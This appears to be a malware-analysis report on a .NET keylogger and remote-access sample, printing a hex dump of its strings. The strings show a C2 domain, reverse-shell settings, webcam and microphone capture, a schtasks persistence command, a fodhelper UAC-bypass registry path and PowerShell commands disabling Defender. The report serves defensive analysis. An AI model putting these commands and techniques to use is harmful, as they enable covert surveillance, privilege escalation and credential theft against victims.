xoilac3.cc_new.exe
Keylogger, C2, credential stealer
.NET hook keylogger stages and transmits captured keysfodhelper DelegateExecute hijack
SHA-25638337bf74531d451cedda8a2a78a4a7189441e6ae33cf6a9034d2a2f60b186e0
Evidence
0x20800070282d00000a0b077e1b000004284b.p(-.....~....(K
0x209000000a00077e1c000004282000000a00.....~....( ....
0x20a0007e1d00000413041613052b1b110411.~.........+....
0x20b005940c000815fe0116fe010d092d022b.............-.+
0x20c01300110517581305110511048e69fe04.....X.......i..
0x20d00d092dd907283200000a0000de052600..-..(2.......&.
0x20e000de0000002a00000110000000007b00.....*........{.
0x20f067e20005010000011e02282600000a2ag.........(&...*
0x210042534a4201000100000000000c000000BSJB............
0x211076342e302e3330333139000000000500v4.0.30319......
0x21206c00000034100000237e0000a0100000l...4...#~......
0x21305413000023537472696e677300000000T...#Strings....
0x2140f42300000c1100002355530000350000.#......#US..5..
0x215010000000234755494400000010350000....#GUID....5..
0x21606405000023426c6f6200000000000000d...#Blob.......
0x217002000001579fa2350902000000fa2533....W..5......%3
0x21800016000001000000510000000d000000........Q.......
0x219027000000470000004a00000004000000'...G...J.......
0x21a09e0000000e0000001b00000001000000................
0x21b015000000050000000500000005000000................
0x21c005000000180000000100000001000000................
0x21d0050000000400000000000a0001000000................
0x21e000000600ac00a5000600b300a5000600................
0x21f04b013f0106001102a50006001e02a500K.?.............
0x220006004403 ..D.
0x31fc6f630057656263616d4d6f64756c6500oc.WebcamModule.
0x320c4d6963726f70686f6e654d6f64756c65MicrophoneModule
0x321c0050617373776f72645265636f766572.PasswordRecover
0x322c794d6f64756c650050726f6772616d00yModule.Program.
0x323c6d73636f726c69620053797374656d00mscorlib.System.
0x324c4f626a656374004d756c746963617374Object.Multicast
0x325c44656c65676174650043325f504f5254Delegate.C2_PORT
0x326c00524556455253455f5348454c4c5f50.REVERSE_SHELL_P
0x327c4f52540043325f444f4d41494e00584fORT.C2_DOMAIN.XO
0x328c525f4b4559002e6363746f7200476574R_KEY..cctor.Get
0x329c586f724b6579006765745f4e616d6500XorKey.get_Name.
0x32ac5374617274004e616d650057485f4b45Start.Name.WH_KE
0x32bc59424f4152445f4c4c00574d5f4b4559YBOARD_LL.WM_KEY
0x32cc444f574e005f70726f63005f686f6f6bDOWN._proc._hook
0x32dc49440053797374656d2e546578740053ID.System.Text.S
0x32ec7472696e674275696c646572005f6275tringBuilder._bu
0x32fc66666572005f61637469766557696e64ffer._activeWind
0x330c6f77005f6c6f636b0053657457696e64ow._lock.SetWind
0x331c6f7773486f6f6b457800556e686f6f6bowsHookEx.Unhook
0x332c57696e646f7773486f6f6b4578004361WindowsHookEx.Ca
0x333c6c6c4e657874486f6f6b457800476574llNextHookEx.Get
0x334c4d6f64756c6548616e646c6500476574ModuleHandle.Get
0x335c466f726567726f756e6457696e646f77ForegroundWindow
0x336c0047657457696e646f77546578740055.GetWindowText.U
0x337c706461746541637469766557696e646fpdateActiveWindo
0x338c7700486f6f6b43616c6c6261636b0053w.HookCallback.S
0x339c656e644c6f6f70002e63746f7200496eendLoop..ctor.In
0x33ac766f6b6500494173796e63526573756cvoke.IAsyncResul
0x33bc74004173796e6343616c6c6261636b00t.AsyncCallback.
0x33cc426567696e496e766f6b6500456e6449BeginInvoke.EndI
0x33dc6e766f6b6500574d5f4341505f445249nvoke.WM_CAP_DRI
0x33ec5645525f434f4e4e45435400574d5f43VER_CONNECT.WM_C
0x33fc41505f53415645444942006361704372AP_SAVEDIB.capCr
0x340c656174654361707475726557696e646feateCaptureWindo
0x341c77410053656e644d6573736167650044wA.SendMessage.D
0x342c657374726f7957696e646f7700776176estroyWindow.wav
0x343c65496e4765744e756d44657673005052eInGetNumDevs.PR
0x344c4f434553535f4352454154455f544852OCESS_CREATE_THR
0x345c4541440050524f434553535f51554552EAD.PROCESS_QUER
0x346c595f494e464f524d4154494f4e005052Y_INFORMATION.PR
0x347c4f434553535f564d5f4f504552415449OCESS_VM_OPERATI
0x348c4f4e0050524f434553535f564d5f5752ON.PROCESS_VM_WR
0x349c4954450050524f434553535f564d5f52ITE.PROCESS_VM_R
0x34ac454144004d454d5f434f4d4d4954004dEAD.MEM_COMMIT.M
0x34bc454d5f5245534552564500504147455fEM_RESERVE.PAGE_
0x34cc455845435554455f5245414457524954EXECUTE_READWRIT
0x34dc45004d555445580052616e646f6d005fE.MUTEX.Random._
0x34ec726e640053686f7757696e646f770047rnd.ShowWindow.G
0x435b54657874577269746572005772697465TextWriter.Write
0x436b4c696e6500526561644c696e65006765Line.ReadLine.ge
0x437b745f5374616e64617264496e70757400t_StandardInput.
0x438b53797374656d2e4e65742e536f636b65System.Net.Socke
0x439b747300546370436c69656e74004e6574ts.TcpClient.Net
0x43ab776f726b53747265616d004765745374workStream.GetSt
0x43bb7265616d007365745f4175746f466c75ream.set_AutoFlu
0x43cb7368007365745f526564697265637453sh.set_RedirectS
0x43db74616e64617264496e70757400436c6ftandardInput.Clo
0x43eb7365003c5374617274436f6d6d616e64se.<StartCommand
0x43fb4578656375746f723e625f5f31300043Executor>b__10.C
0x440b53243c3e395f5f436163686564416e6fS$<>9__CachedAno
0x441b6e796d6f75734d6574686f6444656c65nymousMethodDele
0x442b6761746531310053797374656d2e4e65gate11.System.Ne
0x443b74005765625265717565737400437265t.WebRequest.Cre
0x444b61746500487474705765625265717565ate.HttpWebReque
0x445b7374007365745f4d6574686f64007365st.set_Method.se
0x446b745f54696d656f757400576562526573t_Timeout.WebRes
0x447b706f6e736500476574526573706f6e73ponse.GetRespons
0x448b650048747470576562526573706f6e73e.HttpWebRespons
0x449b6500476574526573706f6e7365537472e.GetResponseStr
0x44ab65616d00537461727473576974680053eam.StartsWith.S
0x44bb7562737472696e670055726900457363ubstring.Uri.Esc
0x44cb61706544617461537472696e67007365apeDataString.se
0x44db745f557365724167656e74006765745ft_UserAgent.get_
0x44eb4e65774c696e65000000236800740074NewLine...#h.t.t
0x44fb0070003a002f002f0078006f0069006c.p.:././.x.o.i.l
0x450b006100630033002e006300630000134b.a.c.3...c.c...K
0x451b00650079006c006f0067006700650072.e.y.l.o.g.g.e.r
0x452b0000175b00480048003a006d006d003a...[.H.H.:.m.m.:
0x453b00730073005d002000000720003a0020.s.s.]. ... .:.
0x454b0000050d000a00004f43003a005c0050........OC.:.\.P
0x455b0072006f006700720061006d00440061.r.o.g.r.a.m.D.a
0x456b00740061005c00570069006e0064006f.t.a.\.W.i.n.d.o
0x457b00770073005500700064006100740065.w.s.U.p.d.a.t.e
0x458b005c006b00650079006c006f0067002e.\.k.e.y.l.o.g..
0x459b00740078007400000f4b00450059004c.t.x.t...K.E.Y.L
0x45ab004f0047003a000001000d5700650062.O.G.:.....W.e.b
0x45bb00630061006d00000f77006500620063.c.a.m...w.e.b.c
0x45cb0061006d005f0000092e0062006d0070.a.m._.....b.m.p
0x45db00000f570045004200430041004d003a...W.E.B.C.A.M.:
0x45eb0000154d006900630072006f00700068...M.i.c.r.o.p.h
0x45fb006f006e00650000096d00690063005f.o.n.e...m.i.c._
0x460b0000092e00770061007600001d70006f.....w.a.v...p.o
0x461b007700650072007300680065006c006c.w.e.r.s.h.e.l.l
0x462b002e0065007800650000819d2d004300...e.x.e....-.C.
0x463b6f006d006d0061006e00640020002200o.m.m.a.n.d. .".
0x464b4100640064002d005400790070006500A.d.d.-.T.y.p.e.
0x4d2c6100720065005c004e0061006e006f00a.r.e.\.N.a.n.o.
0x4d3c43006f0072006500000f560065007200C.o.r.e...V.e.r.
0x4d4c730069006f006e00000b31002e003200s.i.o.n...1...2.
0x4d5c2e003000001749006e00730074006100..0...I.n.s.t.a.
0x4d6c6c006c00440061007400650000117300l.l.D.a.t.e...s.
0x4d7c630068007400610073006b0073000055c.h.t.a.s.k.s..U
0x4d8c2f006300720065006100740065002000/.c.r.e.a.t.e. .
0x4d9c2f0074006e00200022004d0069006300/.t.n. .".M.i.c.
0x4dac72006f0073006f006600740057006900r.o.s.o.f.t.W.i.
0x4dbc6e0064006f0077007300550070006400n.d.o.w.s.U.p.d.
0x4dcc610074006500220020002f0074007200a.t.e.". ./.t.r.
0x4ddc200022000021220020002f0073006300 ."..!". ./.s.c.
0x4dec20006f006e006c006f0067006f006e00 .o.n.l.o.g.o.n.
0x4dfc20002f00660000615300590053005400 ./.f..aS.Y.S.T.
0x4e0c45004d005c0043007500720072006500E.M.\.C.u.r.r.e.
0x4e1c6e00740043006f006e00740072006f00n.t.C.o.n.t.r.o.
0x4e2c6c005300650074005c0043006f006e00l.S.e.t.\.C.o.n.
0x4e3c740072006f006c005c00530065007300t.r.o.l.\.S.e.s.
0x4e4c730069006f006e0020004d0061006e00s.i.o.n. .M.a.n.
0x4e5c6100670065007200001742006f006f00a.g.e.r...B.o.o.
0x4e6c74004500780065006300750074006500t.E.x.e.c.u.t.e.
0x4e7c00030a00001363006d00730074007000......c.m.s.t.p.
0x4e8c2e0065007800650000092f0061007500..e.x.e.../.a.u.
0x4e9c200000196500760065006e0074007600 ...e.v.e.n.t.v.
0x4eac770072002e0065007800650000808348w.r...e.x.e....H
0x4ebc004b00450059005f0043005500520052.K.E.Y._.C.U.R.R
0x4ecc0045004e0054005f0055005300450052.E.N.T._.U.S.E.R
0x4edc005c0053006f00660074007700610072.\.S.o.f.t.w.a.r
0x4eec0065005c0043006c0061007300730065.e.\.C.l.a.s.s.e
0x4efc0073005c006d0073002d007300650074.s.\.m.s.-.s.e.t
0x4f0c00740069006e00670073005c00730068.t.i.n.g.s.\.s.h
0x4f1c0065006c006c005c006f00700065006e.e.l.l.\.o.p.e.n
0x4f2c005c0063006f006d006d0061006e0064.\.c.o.m.m.a.n.d
0x4f3c00011f440065006c0065006700610074...D.e.l.e.g.a.t
0x4f4c00650045007800650063007500740065.e.E.x.e.c.u.t.e
0x4f5c00001b66006f006400680065006c0070...f.o.d.h.e.l.p
0x4f6c00650072002e0065007800650000813d.e.r...e.x.e...=
0x4f7c2d0043006f006d006d0061006e006400-.C.o.m.m.a.n.d.
0x4f8c200022005300650074002d004d007000 .".S.e.t.-.M.p.
0x4f9c50007200650066006500720065006e00P.r.e.f.e.r.e.n.
0x4fac6300650020002d004400690073006100c.e. .-.D.i.s.a.
0x4fbc62006c0065005200650061006c007400b.l.e.R.e.a.l.t.
0x4fcc69006d0065004d006f006e0069007400i.m.e.M.o.n.i.t.
0x4fdc6f00720069006e006700200024007400o.r.i.n.g. .$.t.
0x4fec7200750065003b002000530065007400r.u.e.;. .S.e.t.
0x4ffc2d004d00700050007200650066006500-.M.p.P.r.e.f.e.
0x500c720065006e006300650020002d004400r.e.n.c.e. .-.D.
0x501c69007300610062006c00650049004f00i.s.a.b.l.e.I.O.
⋯6 more rows
0x5dc2630061006c0020005500700064006100c.a.l. .U.p.d.a.
0x5dd27400650000004c001600010043006f00t.e...L.....C.o.
0x5de26d00700061006e0079004e0061006d00m.p.a.n.y.N.a.m.
0x5df26500000000004d006900630072006f00e.....M.i.c.r.o.
0x5e0273006f0066007400200043006f007200s.o.f.t. .C.o.r.
0x5e1270006f0072006100740069006f006e00p.o.r.a.t.i.o.n.
0x5e2200006c0021000100460069006c006500..l.!...F.i.l.e.
0x5e3244006500730063007200690070007400D.e.s.c.r.i.p.t.
0x5e4269006f006e00000000004d0069006300i.o.n.....M.i.c.
⋯3 more rows
0x5e8272007600690063006500000000004000r.v.i.c.e.....@.
0x5e9210000100460069006c00650056006500....F.i.l.e.V.e.
0x5ea27200730069006f006e00000000003100r.s.i.o.n.....1.
0x5eb230002e0030002e0031003900300034000...0...1.9.0.4.
0x5ec231002e003100320030003200000048001...1.2.0.2...H.
0x5ed21300010049006e007400650072006e00....I.n.t.e.r.n.
0x5ee261006c004e0061006d00650000007800a.l.N.a.m.e...x.
⋯7 more rows